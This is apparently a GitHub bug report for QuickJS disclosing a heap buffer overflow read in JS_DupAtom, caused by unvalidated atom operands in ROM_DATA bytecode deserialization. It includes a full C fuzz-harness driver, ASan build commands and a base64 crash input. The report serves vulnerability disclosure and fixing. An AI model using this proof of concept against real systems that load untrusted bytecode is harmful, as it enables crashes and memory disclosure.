Skip to content

[[Bug]Heap-buffer-overflow read in JS_DupAtom: ROM_DATA bytecode uses an unvalidated atom index (rt->atom_array OOB) (CWE-125) #548

Description

@1820893135-pixel

Describe the bug

With the JS_READ_OBJ_ROM_DATA flag the deserializer aliases the bytecode directly to the input buffer (no copy) and, for atom-reference opcodes, does NOT rewrite the operand: it treats the raw 4-byte operand as a runtime atom index and calls JS_DupAtom(ctx, idx) (quickjs.c:3125). A crafted operand such as 0x400 (1024) is not a constant atom, so JS_DupAtom indexes rt->atom_array[1024] — 2504 bytes past the 5696-byte atom table — producing an 8-byte heap out-of-bounds read.

It's different from #547
To Reproduce

  1. Clone QuickJS and check out the affected commit:

    git clone https://github.com/bellard/quickjs.git
    cd quickjs
    git checkout 04be246001599f5995fa2f2d8c91a0f198d3f34c
  2. Save the driver below as poc_driver.c and build with ASan:

    gcc -g -O1 -fsanitize=address -I. poc_driver.c quickjs.c libregexp.c libunicode.c cutils.c dtoa.c quickjs-libc.c -lm -lpthread -ldl -o poc_driver

    How the input is interpreted: the first byte of the POC selects the
    JS_ReadObject flag combination (flags_tbl[first_byte % 6]); the remaining
    bytes
    are the serialized bytecode/object stream passed to JS_ReadObject.

/*
 * poc_driver.c - minimal PoC driver for QuickJS JS_ReadObject
 * deserialization bugs. Byte-for-byte mirrors the fuzz harness (harness.c):
 * the first byte of the input selects the JS_ReadObject flag combination,
 * the remaining bytes are the serialized bytecode/object stream.
 *
 * Build with AddressSanitizer against a QuickJS checkout:
 *   gcc -g -O1 -fsanitize=address -I. poc_driver.c quickjs.c libregexp.c \
 *       libunicode.c cutils.c dtoa.c quickjs-libc.c -lm -lpthread -ldl \
 *       -o poc_driver
 * Run:
 *   ./poc_driver <poc.bin>
 */
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
#include "quickjs.h"
#include "quickjs-libc.h"
#include "cutils.h"     /* FALSE/TRUE */

static int nb_interrupts;

static int interrupt_handler(JSRuntime *rt, void *opaque)
{
    nb_interrupts++;
    return (nb_interrupts > 100);   /* abort runaway scripts */
}

int main(int argc, char **argv)
{
    FILE *f;
    long sz;
    uint8_t *buf;
    JSRuntime *rt;
    JSContext *ctx;
    JSValue obj, val;
    static const int flags_tbl[] = {
        0,                                          /* plain object      */
        JS_READ_OBJ_BYTECODE,                       /* bytecode function */
        JS_READ_OBJ_BYTECODE | JS_READ_OBJ_ROM_DATA,/* rom-data aliasing */
        JS_READ_OBJ_BYTECODE | JS_READ_OBJ_SAB,
        JS_READ_OBJ_BYTECODE | JS_READ_OBJ_REFERENCE,
        JS_READ_OBJ_BYTECODE | JS_READ_OBJ_ROM_DATA |
            JS_READ_OBJ_SAB | JS_READ_OBJ_REFERENCE,
    };

    if (argc < 2)
        return 1;
    f = fopen(argv[1], "rb");
    if (!f)
        return 1;
    fseek(f, 0, SEEK_END);
    sz = ftell(f);
    fseek(f, 0, SEEK_SET);
    buf = malloc((size_t)sz);
    if (fread(buf, 1, (size_t)sz, f) != (size_t)sz)
        return 1;
    fclose(f);

    rt = JS_NewRuntime();
    ctx = JS_NewContext(rt);
    JS_SetMemoryLimit(rt, 0x4000000);   /* 64 MB, same as fuzz harness */
    JS_SetMaxStackSize(rt, 0x10000);    /* 64 KB */
    JS_SetInterruptHandler(rt, interrupt_handler, NULL);

    /* First byte selects flags; the rest is the serialized stream. */
    obj = JS_ReadObject(ctx, buf + 1, (size_t)sz - 1, flags_tbl[buf[0] % 6]);
    if (JS_IsException(obj)) {
        JS_FreeValue(ctx, JS_GetException(ctx));
        return 0;
    }

    /* Execute the deserialized bytecode if it is a module/function. */
    if (JS_VALUE_GET_TAG(obj) == JS_TAG_MODULE) {
        if (JS_ResolveModule(ctx, obj) < 0) {
            JS_FreeValue(ctx, obj);
            JS_FreeValue(ctx, JS_GetException(ctx));
            return 0;
        }
        js_module_set_import_meta(ctx, obj, FALSE, TRUE);
    }
    val = JS_EvalFunction(ctx, obj);
    if (JS_IsException(val))
        JS_FreeValue(ctx, JS_GetException(ctx));
    else
        JS_FreeValue(ctx, val);
    return 0;
}
  1. Write the exact 22-byte POC (first byte 0x02 selects flags JS_READ_OBJ_BYTECODE | JS_READ_OBJ_ROM_DATA). The base64 string below round-trips to the byte-identical crash input:

    printf 'AgUADAAAAAAAAAABAAAABQAEAAQAAA==' | base64 -d > poc.bin
  2. Run it:

    ./poc_driver poc.bin

    ASan output:

    ==...==ERROR: AddressSanitizer: heap-buffer-overflow ...
    SUMMARY: AddressSanitizer: heap-buffer-overflow .../quickjs.c:3125 in JS_DupAtom
    

    Exit code 1.

Expected behavior

The ROM_DATA path should validate that the atom operand is a constant atom (or within the resolved atom range) before passing it to JS_DupAtom.

Screenshots

Image

Please complete the following information:

  • OS: Linux x86-64 (Ubuntu 22.04)
  • QuickJS version: 2026-06-04 (commit 04be246001599f5995fa2f2d8c91a0f198d3f34c)

Additional context

  • Deterministic: yes — the same 22-byte input always triggers the ASan report (verified 5/5 runs).
  • Reachability: the public JS_ReadObject(ctx, buf, len, JS_READ_OBJ_BYTECODE) API deserializes attacker-controlled bytecode; JS_EvalFunction then executes it.
  • Severity: medium (OOB read of the atom table, DoS + info leak) (CWE-125).
  • CWE: CWE-125.

Activity

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Projects

    No projects

      Milestone

      No milestone

      Relationships

      None yet

      Development

      No branches or pull requests

      Issue actions